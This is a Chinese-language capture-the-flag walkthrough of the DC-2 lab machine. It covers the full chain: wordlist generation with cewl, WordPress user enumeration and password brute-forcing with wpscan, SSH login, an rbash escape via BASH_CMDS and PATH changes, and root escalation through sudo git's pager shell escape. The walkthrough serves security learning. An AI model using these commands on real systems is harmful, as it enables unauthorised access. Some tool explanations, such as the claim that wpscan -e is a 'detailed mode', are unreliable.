使用arp-scan -l
扫描
扫描靶机开放端口
直接访问192.168.188.165发现无法访问被重定向到了 http://dc-2/
修改hosts文件
hosts文件是linux系统中负责ip地址与域名快速解析的文件。
Linux hosts文件位置:/etc/hosts
vim /etc/hosts
linux环境下/etc/hosts文件详解。
配置好后重启服务即可
/etc/init.d/networking restart #重启服务
然后就可以正常访问了
找到flag1 提示使用cewl
工具(字典生成工具)
1. 使用cewl生成密码字典,Kali Linux字典生成工具Cewl使用全指南。
输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:
cewl -w password.txt http://dc-2/
2. 使用wpscan 暴力枚举用户名
WPScan使用笔记。
wpscan --url http://dc-2/ -e
说明:
--url:要扫描的目标url,允许的协议http、https,默认使用http协议。
-e:选项启用详细扫描模式,将执行更深入的安全测试。
在详细扫描模式下,wpscan
将进行以下操作:
识别已安装的WordPress版本。
检测已知的WordPress漏洞和安全问题。
扫描目标站点的插件和主题,查找可能存在的漏洞或安全弱点。
查找可公开访问的文件和目录。
爬取网站,并尝试发现隐藏页面或目录。
分析目标网站的用户信息,包括用户名、用户ID等。
进行弱密码猜测,尝试使用常见的用户名和密码组合进行登录。
得到了三个用户名分别是admin,jerry,tom
3. 创建一个用户名字典将上面得到的3个用户写入
4. 使用wpsan爆破用户名密码
wpscan --url http://dc-2/ -U user.txt -P password.txt
得到两个用户名密码
jerry / adipiscing
tom / parturient
使用网站指纹识别工具whatweb扫描发现确实是WordPress
网站指纹识别工具Whatweb的使用。
6. 使用命令进行扫描网页,Nikto是一款开源的(GPL)网页服务器扫描器
nikto -h http://dc-2/
查到登录的路径为wp-login.php
使用获得的账号密码登录wordpress
获取flag2。
也尝试tom
账户 发现并没有什么可用的信息,这里给的提示没可以利用的信息,查看是否还有别的端口。
再次使用nmap -p- 扫描所有的端口 发现了一个7744
的端口 而且开的是ssh
服务。
直接远程登入ssh: ssh [email protected] -p 7744
。
输入命令发现有rbash限制。rbash绕过。
rbash
是一种限制了 Bash Shell 中某些功能的受限 Shell。默认情况下,rbash
执行时,用户无法改变当前工作目录、无法使用绝对路径执行命令、无法执行含有斜杠/
的命令,以及禁止了其他一些操作。然而,有时候攻击者可能会试图绕过
rbash
的限制,以获取更多权限或执行不被允许的操作。以下是一些常见的rbash
绕过方法:
使用绝对路径:
rbash
默认禁止使用绝对路径来执行命令,但是攻击者可以使用相对路径来间接执行具有绝对路径的命令。例如,./bin/bash
可以绕过rbash
禁止的/bin/bash
。修改环境变量:攻击者可能尝试更改环境变量,以使得
rbash
失效或绕过限制。例如,可以修改PATH
变量,将自己编写的可执行文件路径添加到前面,使其在寻找命令时被优先执行。利用符号链接:攻击者可以创建符号链接,将被限制的命令链接到一个允许执行的命令上。这样,当执行受限制的命令时,实际上会执行符号链接所指向的命令。
利用别名或函数:攻击者可以创建别名或函数,将受限制的命令重定向到其他命令。当用户执行被限制的命令时,实际上会执行别名或函数中所定义的命令。
尽管存在上述绕过方法,但是这些方法需要具有足够权限的用户才能实施,而且在合规的系统配置下,这些绕过方法应该被阻止。为了保护系统的安全性,建议限制用户的权限,并确保正确配置
rbash
和其他安全措施。
配置环境变量
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量
export PATH=$PATH:/bin/ #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #注:将 /usr/bin 作为PATH环境变量导出
得到flag3
查看id发现当前用户权限是tom
提示要切换到jerry,查看是否有jerry用户
切换回jerry用户
su jerry # 切换回jerry用户
获取到flag4,提示需要使用git进行提权
寻找root用户拥有的文件,并将错误写入/dev/null
find / -user root -perm /4000 2>/dev/null
说明:
find
:这是一个用于查找文件和目录的命令。
/
:这是要搜索的起始路径,/
代表根目录,意味着搜索整个文件系统。
-user root
:这个选项用于指定要查找的文件的所有者是"root"的文件。
-perm /4000
:这个选项用于查找具有设置了SUID位的文件。SUID位是特殊权限位之一,它允许用户以拥有者的身份执行文件,而不是以自己的身份执行。这个权限位通常用于一些需要特权执行的程序。
2>/dev/null
: 这个部分将命令的标准错误输出重定向到/dev/null
,意味着任何错误消息将被忽略
综上所述,该命令的目标是在整个文件系统中查找所有所有者为"root"并且设置了SUID位的文件,并返回这些文件的绝对路径。任何出现的错误消息将被忽略。
看到拥有sudo权限, 使用sudo -l 显示当前用户可以用 sudo 执行那些命令。
说明:-l
列出目前用户可执行与无法执行的指令。
发现可以利用sudo执行git命令
查看提权命令网站:GTFOBins。
提权命令工具
文件复制进Kali中
然后进入gtfo-master-20230718221452-ut3xtbv/gtfo-master
目录中执行如下命令:
python3 gtfo.py git
回到之前的远程登录窗口,输入提权命令:
git branch --help config # 提权命令
sudo git help config # 提权命令
!/bin/sh
说明:
branch
: 这是git
的一个子命令,用于管理分支。通过使用git branch
命令,可以查看、创建、删除和重命名分支等。
sudo
: 这是一个使用超级用户权限(root)执行命令的关键字。在执行需要特权操作的命令时,可能需要使用sudo来获取足够的权限。
git
: 这是一个版本控制系统,用于管理项目的源代码。
help
: 这是Git命令的一个子命令,用于获取特定命令的帮助信息。
config
: 这是一个Git命令,用于管理和配置Git的各种选项和设置。
综上所述,该命令的目的是以超级用户权限执行git help config
命令,以获取有关Git配置的帮助信息。这将显示有关如何使用git config
命令来配置和管理Git的帮助文档。
说明:
/bin/sh
: 这是指定脚本应该使用的解释器的路径。在这种情况下,/bin/sh
是指定使用/bin目录下的sh解释器执行这个脚本
最后查看id,成功提权到root权限,并得到最后一个flag